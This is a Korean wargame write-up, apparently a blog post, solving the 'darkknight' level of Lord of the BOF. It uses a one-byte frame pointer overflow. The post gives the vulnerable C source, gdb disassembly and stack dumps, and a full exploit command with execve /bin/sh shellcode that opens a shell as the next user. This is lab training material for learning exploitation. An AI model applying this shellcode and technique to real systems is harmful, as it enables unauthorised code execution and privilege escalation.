[golem@localhost golem]$ cat darkknight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - darkknight

        - FPO        //프레임 포인터 오버플로우를 이용한다. sub함수가 있어야함.

*/


#include <stdio.h>

#include <stdlib.h>


void problem_child(char *src)

{

        char buffer[40];

        strncpy(buffer, src, 41);

        printf("%s\n", buffer);

}


main(int argc, char *argv[])

{

        if(argc<2){

                printf("argv error\n");

                exit(0);

        }


        problem_child(argv[1]);

}



FPO는 서브함수가 있어야하고 SFP까지만 오버플로우가 발생 할때 사용하는 기법이다.

Fake EBP는 FPO와 원리는 같지만, ret까지 overflow되는 상황에서 가능하고 main함수에서도 공격이 가능하다는 차이점이 있다. Fake EBP는 ret까지 overflow가 가능하기 때문에 ret에 직접 leave;ret; 가젯의 주소를 덮어씌워준다. 


FPO에 대한 설명 : http://bob3rdnewbie.tistory.com/188

너무 잘 정리 되어있어서 링크를 건다.





[golem@localhost golem]$ gdb ./darkknigh2

(gdb) disas problem_child

Dump of assembler code for function problem_child:

0x8048440 <problem_child>:      push   %ebp

0x8048441 <problem_child+1>:    mov    %esp,%ebp

0x8048443 <problem_child+3>:    sub    $0x28,%esp

0x8048446 <problem_child+6>:    push   $0x29

0x8048448 <problem_child+8>:    mov    0x8(%ebp),%eax

0x804844b <problem_child+11>:   push   %eax

0x804844c <problem_child+12>:   lea    0xffffffd8(%ebp),%eax

0x804844f <problem_child+15>:   push   %eax

0x8048450 <problem_child+16>:   call   0x8048374 <strncpy>

0x8048455 <problem_child+21>:   add    $0xc,%esp

0x8048458 <problem_child+24>:   lea    0xffffffd8(%ebp),%eax

0x804845b <problem_child+27>:   push   %eax

0x804845c <problem_child+28>:   push   $0x8048500

0x8048461 <problem_child+33>:   call   0x8048354 <printf>

0x8048466 <problem_child+38>:   add    $0x8,%esp

0x8048469 <problem_child+41>:   leave

0x804846a <problem_child+42>:   ret

0x804846b <problem_child+43>:   nop

End of assembler dump.


(gdb) b*0x8048469

Breakpoint 1 at 0x8048469

(gdb) r `python -c 'print "\x41"*41'`

Starting program: /home/golem/./darkknigh2 `python -c 'print "\x41"*41'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒P▒▒▒▒▒▒▒   @


Breakpoint 1, 0x8048469 in problem_child ()



(gdb) x/40x $esp -4
0xbffffab0:     0x401081ec      0xbffffaec      0x08048466      0x08048500 <--변조된 sfp가 가르킬 메모리 공간  
0xbffffac0:     0xbffffac4   <-- 서브함수의 leave ret이 끝나면 가리킬 메모리 공간   0x90909090      0x90909090      0x90909090
0xbffffad0:     0x31909090      0x2f6850c0      0x6868732f      0x6e69622f
0xbffffae0:     0x5350e389      0xd231e189      0x80cd0bb0      0xbffffaac  <--\xbc
0xbffffaf0:     0x0804849e      0xbffffc4d      0xbffffb18      0x400309cb
0xbffffb00:     0x00000002      0xbffffb44      0xbffffb50      0x40013868
0xbffffb10:     0x00000002      0x08048390      0x00000000      0x080483b1
0xbffffb20:     0x0804846c      0x00000002      0xbffffb44      0x080482e4
0xbffffb30:     0x080484dc      0x4000ae60      0xbffffb3c      0x40013e90
0xbffffb40:     0x00000002      0xbffffc40      0xbffffc4d      0x00000000
(gdb) q

서브함수의 
leave = push esp, ebp + pop ebp 
ret = pop eip + jmp eip

후에 메인함수가 끝날때
leave = push esp, ebp + pop ebp 
ret = pop eip + jmp eip
이 실행되면서 쉘코드가 실행될 것이다.



[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xbc"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ
                                    ̀▒▒▒▒▒M▒▒▒▒▒▒▒       @
bash$ whoami
darkknight
bash$ my-pass
euid = 512
new attacker


'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글

14.bugbear->giant  (0) 2018.01.11
13.lob darkknight->bugbear  (0) 2018.01.10
11.lob skeleton->golem  (0) 2018.01.08
10.lob vampire->skeleton  (0) 2018.01.08
09.lob troll->vampire  (0) 2018.01.08

+ Recent posts